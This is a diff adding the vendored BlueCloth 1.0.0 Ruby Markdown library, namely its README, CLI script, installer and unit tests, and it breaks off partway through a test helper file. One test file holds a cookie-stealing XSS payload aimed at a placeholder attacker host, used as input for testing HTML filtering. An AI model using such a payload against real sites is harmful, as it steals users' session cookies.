Version 1.0.0 - 2004/08/24
|
||||
|
||||
Original version by John Gruber <http://daringfireball.net/>.
|
||||
Ruby port by Michael Granger <http://www.deveiate.org/>.
|
||||
|
||||
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
|
||||
tool for web writers. To quote from the project page: Markdown allows you to
|
||||
write using an easy-to-read, easy-to-write plain text format, then convert it to
|
||||
structurally valid XHTML (or HTML).
|
||||
|
||||
It borrows a naming convention and several helpings of interface from
|
||||
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
|
||||
conversion syntax called [Textile][4].
|
||||
|
||||
|
||||
Installation
|
||||
------------
|
||||
|
||||
You can install this module either by running the included `install.rb` script,
|
||||
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
|
||||
|
||||
|
||||
Dependencies
|
||||
------------
|
||||
|
||||
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
|
||||
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
|
||||
versions, and the `logger` library, which is also included in 1.8.x and later.
|
||||
|
||||
|
||||
Example Usage
|
||||
-------------
|
||||
|
||||
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
|
||||
|
||||
bc = BlueCloth::new( str )
|
||||
puts bc.to_html
|
||||
|
||||
This `README` file is an example of Markdown syntax. The sample program
|
||||
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
|
||||
file with Markdown syntax into HTML:
|
||||
|
||||
$ bin/bluecloth README > README.html
|
||||
|
||||
|
||||
Acknowledgements
|
||||
----------------
|
||||
|
||||
This library is a port of the canonical Perl one, and so owes most of its
|
||||
functionality to its author, John Gruber. The bugs in this code are most
|
||||
certainly an artifact of my porting it and not an artifact of the excellent code
|
||||
from which it is derived.
|
||||
|
||||
It also, as mentioned before, borrows its API liberally from RedCloth, both for
|
||||
compatibility's sake, and because I think Why's code is beautiful. His excellent
|
||||
code and peerless prose have been an inspiration to me, and this module is
|
||||
intended as the sincerest flattery.
|
||||
|
||||
Also contributing to any success this module may enjoy are those among my peers
|
||||
who have taken the time to help out, either by submitting patches, testing, or
|
||||
offering suggestions and review:
|
||||
|
||||
* Martin Chase <stillflame@FaerieMUD.org>
|
||||
* Florian Gross <flgr@ccan.de>
|
||||
|
||||
|
||||
Author/Legal
|
||||
------------
|
||||
|
||||
Original version:
|
||||
Copyright (c) 2003-2004 John Gruber
|
||||
<http://daringfireball.net/>
|
||||
All rights reserved.
|
||||
|
||||
Ruby version:
|
||||
Copyright (c) 2004 The FaerieMUD Consortium
|
||||
|
||||
BlueCloth is free software; you can redistribute it and/or modify it under the
|
||||
terms of the GNU General Public License as published by the Free Software
|
||||
Foundation; either version 2 of the License, or (at your option) any later
|
||||
version.
|
||||
|
||||
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
|
||||
[1]: http://daringfireball.net/projects/markdown/
|
||||
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
|
||||
[3]: http://www.whytheluckystiff.net/
|
||||
[4]: http://www.textism.com/tools/textile/
|
||||
|
||||
|
||||
$Id: README 65 2004-08-24 14:56:47Z ged $
|
||||
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
|
||||
83
vendor/gems/BlueCloth-1.0.0/bin/bluecloth
vendored
Normal file
83
vendor/gems/BlueCloth-1.0.0/bin/bluecloth
vendored
Normal file
@@ -0,0 +1,83 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# = bluecloth
|
||||
#
|
||||
# Format one or more text files with the markdown formatter.
|
||||
#
|
||||
# = Synopsis
|
||||
#
|
||||
# bluecloth [OPTIONS] [FILES]
|
||||
#
|
||||
#
|
||||
#
|
||||
|
||||
BEGIN {
|
||||
require 'bluecloth'
|
||||
require 'optparse'
|
||||
}
|
||||
|
||||
DocumentWrapper = %{
|
||||
<html>
|
||||
<head><title>%s</title></head>
|
||||
<body>
|
||||
%s
|
||||
</body>
|
||||
</html>
|
||||
}
|
||||
|
||||
def main
|
||||
fragment = false
|
||||
destination = '.'
|
||||
|
||||
ARGV.options do |oparser|
|
||||
|
||||
oparser.banner = "Usage: #$0 [OPTIONS] FILES"
|
||||
|
||||
# Debug mode
|
||||
oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
|
||||
$DEBUG = true
|
||||
}
|
||||
|
||||
# 'Fragment' mode
|
||||
oparser.on( "--fragment", "-f", TrueClass,
|
||||
"Output HTML fragments instead of whole documents" ) {
|
||||
fragment = true
|
||||
}
|
||||
|
||||
# Output destination
|
||||
#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
|
||||
# "Write output to DESTINATION instead of the current directory" ) {|arg|
|
||||
# destination = arg
|
||||
#}
|
||||
|
||||
oparser.parse!
|
||||
end
|
||||
|
||||
# Filter mode if no arguments
|
||||
ARGV.push( "-" ) if ARGV.empty?
|
||||
|
||||
ARGV.each {|file|
|
||||
if file == '-'
|
||||
contents = $stdin.readlines(nil)
|
||||
else
|
||||
contents = File::readlines( file, nil )
|
||||
end
|
||||
|
||||
bc = BlueCloth::new( contents.join )
|
||||
|
||||
if fragment
|
||||
$stdout.puts bc.to_html
|
||||
else
|
||||
$stdout.puts DocumentWrapper % [ file, bc.to_html ]
|
||||
end
|
||||
}
|
||||
|
||||
rescue => err
|
||||
$stderr.puts "Aborting: Fatal error: %s" % err.message
|
||||
exit 255
|
||||
end
|
||||
|
||||
|
||||
|
||||
main
|
||||
|
||||
3
vendor/gems/BlueCloth-1.0.0/init.rb
vendored
Normal file
3
vendor/gems/BlueCloth-1.0.0/init.rb
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
|
||||
require File.join(File.dirname(__FILE__), 'lib', 'bluecloth')
|
||||
|
||||
150
vendor/gems/BlueCloth-1.0.0/install.rb
vendored
Normal file
150
vendor/gems/BlueCloth-1.0.0/install.rb
vendored
Normal file
@@ -0,0 +1,150 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# BlueCloth Module Install Script
|
||||
# $Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
|
||||
#
|
||||
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
|
||||
#
|
||||
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
|
||||
#
|
||||
# This is free software. You may use, modify, and/or redistribute this
|
||||
# software under the terms of the Perl Artistic License. (See
|
||||
# http://language.perl.com/misc/Artistic.html)
|
||||
#
|
||||
|
||||
require './utils.rb'
|
||||
include UtilityFunctions
|
||||
|
||||
require 'rbconfig'
|
||||
include Config
|
||||
|
||||
require 'find'
|
||||
require 'ftools'
|
||||
|
||||
|
||||
$version = %q$Revision: 1.3 $
|
||||
$rcsId = %q$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
|
||||
|
||||
# Define required libraries
|
||||
RequiredLibraries = [
|
||||
# libraryname, nice name, RAA URL, Download URL
|
||||
[ 'strscan', "StrScan",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
|
||||
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
|
||||
[ 'logger', "Devel-Logger",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
|
||||
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
|
||||
]
|
||||
|
||||
class Installer
|
||||
|
||||
@@PrunePatterns = [
|
||||
/CVS/,
|
||||
/~$/,
|
||||
%r:(^|/)\.:,
|
||||
/\.tpl$/,
|
||||
]
|
||||
|
||||
def initialize( testing=false )
|
||||
@ftools = (testing) ? self : File
|
||||
end
|
||||
|
||||
### Make the specified dirs (which can be a String or an Array of Strings)
|
||||
### with the specified mode.
|
||||
def makedirs( dirs, mode=0755, verbose=false )
|
||||
dirs = [ dirs ] unless dirs.is_a? Array
|
||||
|
||||
oldumask = File::umask
|
||||
File::umask( 0777 - mode )
|
||||
|
||||
for dir in dirs
|
||||
if @ftools == File
|
||||
File::mkpath( dir, $verbose )
|
||||
else
|
||||
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
|
||||
end
|
||||
end
|
||||
|
||||
File::umask( oldumask )
|
||||
end
|
||||
|
||||
def install( srcfile, dstfile, mode=nil, verbose=false )
|
||||
dstfile = File.catname(srcfile, dstfile)
|
||||
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
|
||||
$stderr.puts " install #{srcfile} -> #{dstfile}"
|
||||
else
|
||||
$stderr.puts " skipping #{dstfile}: unchanged"
|
||||
end
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
def installFiles( src, dstDir, mode=0444, verbose=false )
|
||||
directories = []
|
||||
files = []
|
||||
|
||||
if File.directory?( src )
|
||||
Find.find( src ) {|f|
|
||||
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
|
||||
next if f == src
|
||||
|
||||
if FileTest.directory?( f )
|
||||
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
next
|
||||
|
||||
elsif FileTest.file?( f )
|
||||
files << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
|
||||
else
|
||||
Find.prune
|
||||
end
|
||||
}
|
||||
else
|
||||
files << File.basename( src )
|
||||
src = File.dirname( src )
|
||||
end
|
||||
|
||||
dirs = [ dstDir ]
|
||||
dirs |= directories.collect {|d| File.join(dstDir,d)}
|
||||
makedirs( dirs, 0755, verbose )
|
||||
files.each {|f|
|
||||
srcfile = File.join(src,f)
|
||||
dstfile = File.dirname(File.join( dstDir,f ))
|
||||
|
||||
if verbose
|
||||
if mode
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
|
||||
else
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile}"
|
||||
end
|
||||
end
|
||||
|
||||
@ftools.install( srcfile, dstfile, mode, verbose )
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if $0 == __FILE__
|
||||
header "BlueCloth Installer #$version"
|
||||
|
||||
for lib in RequiredLibraries
|
||||
testForRequiredLibrary( *lib )
|
||||
end
|
||||
|
||||
viewOnly = ARGV.include? '-n'
|
||||
verbose = ARGV.include? '-v'
|
||||
|
||||
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
|
||||
sitelibdir = CONFIG['sitelibdir']
|
||||
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
|
||||
sitearchdir = CONFIG['sitearchdir']
|
||||
|
||||
message "Installing\n"
|
||||
i = Installer.new( viewOnly )
|
||||
i.installFiles( "lib", sitelibdir, 0444, verbose )
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
1255
vendor/gems/BlueCloth-1.0.0/lib/bluecloth.rb
vendored
Normal file
1255
vendor/gems/BlueCloth-1.0.0/lib/bluecloth.rb
vendored
Normal file
File diff suppressed because it is too large
Load Diff
117
vendor/gems/BlueCloth-1.0.0/test.rb
vendored
Normal file
117
vendor/gems/BlueCloth-1.0.0/test.rb
vendored
Normal file
@@ -0,0 +1,117 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Test suite for BlueCloth classes
|
||||
# $Id$
|
||||
#
|
||||
|
||||
BEGIN {
|
||||
$basedir = File::dirname( __FILE__ )
|
||||
["lib", "tests", "redist"].each do |subdir|
|
||||
$LOAD_PATH.unshift File::join( $basedir, subdir )
|
||||
end
|
||||
|
||||
require "#{$basedir}/utils"
|
||||
include UtilityFunctions
|
||||
}
|
||||
|
||||
verboseOff {
|
||||
require 'bctestcase'
|
||||
require 'find'
|
||||
require 'test/unit'
|
||||
require 'test/unit/testsuite'
|
||||
require 'test/unit/ui/console/testrunner'
|
||||
require 'optparse'
|
||||
}
|
||||
|
||||
# Turn off output buffering
|
||||
$stderr.sync = $stdout.sync = true
|
||||
$DebugPattern = nil
|
||||
|
||||
# Initialize variables
|
||||
safelevel = 0
|
||||
patterns = []
|
||||
requires = []
|
||||
|
||||
# Parse command-line switches
|
||||
ARGV.options {|oparser|
|
||||
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
|
||||
|
||||
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
|
||||
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
|
||||
if arg
|
||||
$DebugPattern = Regexp::new( arg )
|
||||
puts "Turned debugging on for %p." % $DebugPattern
|
||||
else
|
||||
$DEBUG = true
|
||||
debugMsg "Turned debugging on globally."
|
||||
end
|
||||
}
|
||||
|
||||
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
|
||||
$VERBOSE = true
|
||||
debugMsg "Turned verbose on."
|
||||
}
|
||||
|
||||
# Handle the 'help' option
|
||||
oparser.on( "--help", "-h", "Display this text." ) {
|
||||
$stderr.puts oparser
|
||||
exit!(0)
|
||||
}
|
||||
|
||||
oparser.parse!
|
||||
}
|
||||
|
||||
# Parse test patterns
|
||||
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
|
||||
$stderr.puts "#{patterns.length} patterns given on the command line"
|
||||
|
||||
### Load all the tests from the tests dir
|
||||
Find.find("#{$basedir}/tests") {|file|
|
||||
Find.prune if /\/\./ =~ file or /~$/ =~ file
|
||||
Find.prune if /TEMPLATE/ =~ file
|
||||
next if File.stat( file ).directory?
|
||||
|
||||
unless patterns.empty?
|
||||
Find.prune unless patterns.find {|pat| pat =~ file}
|
||||
end
|
||||
|
||||
debugMsg "Considering '%s': " % file
|
||||
next unless file =~ /\.tests.rb$/
|
||||
debugMsg "Requiring '%s'..." % file
|
||||
require "#{file}"
|
||||
requires << file
|
||||
}
|
||||
|
||||
$stderr.puts "Required #{requires.length} files."
|
||||
unless patterns.empty?
|
||||
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
|
||||
end
|
||||
|
||||
# Build the test suite
|
||||
class BlueClothTests
|
||||
class << self
|
||||
def suite
|
||||
suite = Test::Unit::TestSuite.new( "BlueCloth" )
|
||||
|
||||
if suite.respond_to?( :add )
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite.add( klass.suite ) if klass < BlueCloth::TestCase
|
||||
}
|
||||
else
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite << klass.suite if klass < BlueCloth::TestCase
|
||||
}
|
||||
end
|
||||
|
||||
return suite
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Run tests
|
||||
$SAFE = safelevel
|
||||
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
|
||||
|
||||
|
||||
|
||||
|
||||
71
vendor/gems/BlueCloth-1.0.0/tests/00_Class.tests.rb
vendored
Normal file
71
vendor/gems/BlueCloth-1.0.0/tests/00_Class.tests.rb
vendored
Normal file
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for the BlueCloth class object
|
||||
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class BlueClothClassTestCase < BlueCloth::TestCase
|
||||
|
||||
TestString = "foo"
|
||||
|
||||
def test_00_class_constant
|
||||
printTestHeader "BlueCloth: Class Constant"
|
||||
|
||||
assert Object::constants.include?( "BlueCloth" ),
|
||||
"No BlueCloth constant in Object"
|
||||
assert_instance_of Class, BlueCloth
|
||||
end
|
||||
|
||||
def test_01_instantiation
|
||||
printTestHeader "BlueCloth: Instantiation"
|
||||
rval = nil
|
||||
|
||||
# With no argument... ("")
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal "", rval
|
||||
|
||||
# String argument
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new TestString
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
|
||||
addSetupBlock {
|
||||
debugMsg "Creating a new BlueCloth"
|
||||
@obj = BlueCloth::new( TestString )
|
||||
}
|
||||
addTeardownBlock {
|
||||
@obj = nil
|
||||
}
|
||||
end
|
||||
|
||||
def test_02_duplication
|
||||
printTestHeader "BlueCloth: Duplication"
|
||||
rval = nil
|
||||
|
||||
assert_nothing_raised {
|
||||
rval = @obj.dup
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
1527
vendor/gems/BlueCloth-1.0.0/tests/05_Markdown.tests.rb
vendored
Normal file
1527
vendor/gems/BlueCloth-1.0.0/tests/05_Markdown.tests.rb
vendored
Normal file
File diff suppressed because it is too large
Load Diff
57
vendor/gems/BlueCloth-1.0.0/tests/10_Bug.tests.rb
vendored
Normal file
57
vendor/gems/BlueCloth-1.0.0/tests/10_Bug.tests.rb
vendored
Normal file
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for bugs found in BlueCloth
|
||||
# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
require 'timeout'
|
||||
|
||||
### This test case tests ...
|
||||
class BugsTestCase < BlueCloth::TestCase
|
||||
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
||||
|
||||
### Test to be sure the README file can be transformed.
|
||||
def test_00_slow_block_regex
|
||||
contents = File::read( File::join(BaseDir,"README") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
timeout( 2 ) do
|
||||
bcobj.to_html
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
### :TODO: Add more documents and test their transforms.
|
||||
|
||||
def test_10_regexp_engine_overflow_bug
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
def test_15_regexp_engine_overflow_bug2
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
__END__
|
||||
|
||||
132
vendor/gems/BlueCloth-1.0.0/tests/15_Contrib.tests.rb
vendored
Normal file
132
vendor/gems/BlueCloth-1.0.0/tests/15_Contrib.tests.rb
vendored
Normal file
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for contributed features
|
||||
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class ContribTestCase < BlueCloth::TestCase
|
||||
|
||||
DangerousHtml =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
DangerousHtmlOutput =
|
||||
"<p><script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
||||
DangerousStylesOutput =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
NoLessThanHtml = "Foo is definitely > than bar"
|
||||
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
||||
|
||||
|
||||
### HTML filter options contributed by Florian Gross.
|
||||
|
||||
### Test the :filter_html restriction
|
||||
def test_10_filter_html
|
||||
printTestHeader "filter_html Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
|
||||
# Test setting it in a sub-array
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
end
|
||||
|
||||
|
||||
### Test the :filter_styles restriction
|
||||
def test_20_filter_styles
|
||||
printTestHeader "filter_styles Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
# Test setting it in a subarray
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
end
|
||||
|
||||
|
||||
### Test to be sure filtering when there's no opening angle brackets doesn't
|
||||
### die.
|
||||
def test_30_filter_no_less_than
|
||||
printTestHeader "filter without a less-than"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal NoLessThanOutput, rval
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
274
vendor/gems/BlueCloth-1.0.0/tests/bctestcase.rb
vendored
Normal file
274
vendor/gems/BlueCloth-1.0.0/tests/bctestcase.rb
vendored
Normal file
@@ -0,0 +1,274 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# This is an abstract test case class for building Test::Unit unit tests for the
|
||||
# BlueCloth module. It consolidates most of the maintenance work that must be
|
||||
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
||||
# as adding some other useful methods that make building, maintaining, and using
|
||||
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
||||
# more info on the particulars of unit testing.
|
||||
#
|
||||
# == Synopsis
|
||||
#
|
||||
# # Allow the test to be run from anywhere:
|
||||
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
# basedir = File::dirname( __FILE__ )
|
||||
# require File::join( basedir, 'bctestcase' )
|
||||
# end
|
||||
#
|
||||
# class MySomethingTest < BlueCloth::TestCase
|
||||
# def setup
|
||||
# super()
|
||||
# @foo = 'bar'
|
||||
# end
|
||||
#
|
||||
# def test_00_something
|
||||
# obj = nil
|
||||
# assert_nothing_raised { obj = MySomething::new }
|
||||
# assert_instance_of MySomething, obj
|
||||
# assert_respond_to :myMethod, obj
|
||||
# end
|
||||
#
|
||||
# end
|
||||
#
|
||||
# == Rcsid
|
||||
#
|
||||
# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
|
||||
#
|
||||
# == Authors
|
||||
#
|
||||
# * Michael Granger <ged@FaerieMUD.org>
|
||||
#
|
||||
#:include: COPYRIGHT
|
||||
#
|
||||
#---
|
||||
#
|
||||
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
||||
#
|
||||
|
||||
$DebugPattern ||= nil
|
||||
|
||||
begin
|
||||
basedir = File::dirname( File::dirname(__FILE__) )
|
||||
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
||||
$LOAD_PATH.unshift "#{basedir}/lib"
|
||||
end
|
||||
end
|
||||
|
||||
require "test/unit"
|
||||
require "bluecloth"
|
||||
|
||||
|
||||
class BlueCloth
|
||||
|
||||
### The abstract base class for BlueCloth test cases.
|
||||
class TestCase < Test::Unit::TestCase
|
||||
|
||||
@methodCounter = 0
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
class << self
|
||||
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
||||
end
|
||||
|
||||
|
||||
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
||||
### and accessors to the inheriting class.
|
||||
def self::inherited( klass )
|
||||
klass.module_eval {
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
|
||||
class << self
|
||||
attr_accessor :setupBlocks, :teardownBlocks
|
||||
end
|
||||
}
|
||||
klass.methodCounter = 0
|
||||
end
|
||||
|
||||
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
||||
def self::debugMsg( *msgs )
|
||||
return unless $DEBUG
|
||||
self.message "DEBUG>>> %s" % msgs.join('')
|
||||
end
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDOUT</tt>.
|
||||
def self::message( *msgs )
|
||||
$stderr.puts msgs.join('')
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
|
||||
### Add a setup block for the current testcase
|
||||
def self::addSetupBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "setup_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.setupBlocks.push newMethodName
|
||||
end
|
||||
|
||||
### Add a teardown block for the current testcase
|
||||
def self::addTeardownBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "teardown_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.teardownBlocks.unshift newMethodName
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### I N S T A N C E M E T H O D S
|
||||
#############################################################
|
||||
|
||||
### A dummy test method to allow this Test::Unit::TestCase to be
|
||||
### subclassed without complaining about the lack of tests.
|
||||
def test_0_dummy
|
||||
end
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def setup( *args )
|
||||
self.class.setupBlocks.each {|sblock|
|
||||
debugMsg "Calling setup block method #{sblock}"
|
||||
self.send( sblock )
|
||||
}
|
||||
super( *args )
|
||||
end
|
||||
alias_method :set_up, :setup
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def teardown( *args )
|
||||
super( *args )
|
||||
self.class.teardownBlocks.each {|tblock|
|
||||
debugMsg "Calling teardown block method #{tblock}"
|
||||
self.send( tblock )
|
||||
}
|
||||
end
|
||||
alias_method :tear_down, :teardown
|
||||
|
||||
|
||||
### Skip the current step (called from #setup) with the +reason+ given.
|
||||
def skip( reason=nil )
|
||||
if reason
|
||||
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
||||
else
|
||||
msg = "Skipping %s: No reason given." % @method_name
|
||||
end
|
||||
|
||||
$stderr.puts( msg ) if $VERBOSE
|
||||
@method_name = :skipped_test
|
||||
end
|
||||
|
||||
|
||||
def skipped_test # :nodoc:
|
||||
end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #setup.
|
||||
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #teardown.
|
||||
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method.
|
||||
def message( *msgs )
|
||||
self.class.message( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method
|
||||
def debugMsg( *msgs )
|
||||
self.class.debugMsg( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Output a separator line made up of <tt>length</tt> of the specified
|
||||
### <tt>char</tt>.
|
||||
def writeLine( length=75, char="-" )
|
||||
$stderr.puts "\r" + (char * length )
|
||||
end
|
||||
|
||||
|
||||
### Output a header for delimiting tests
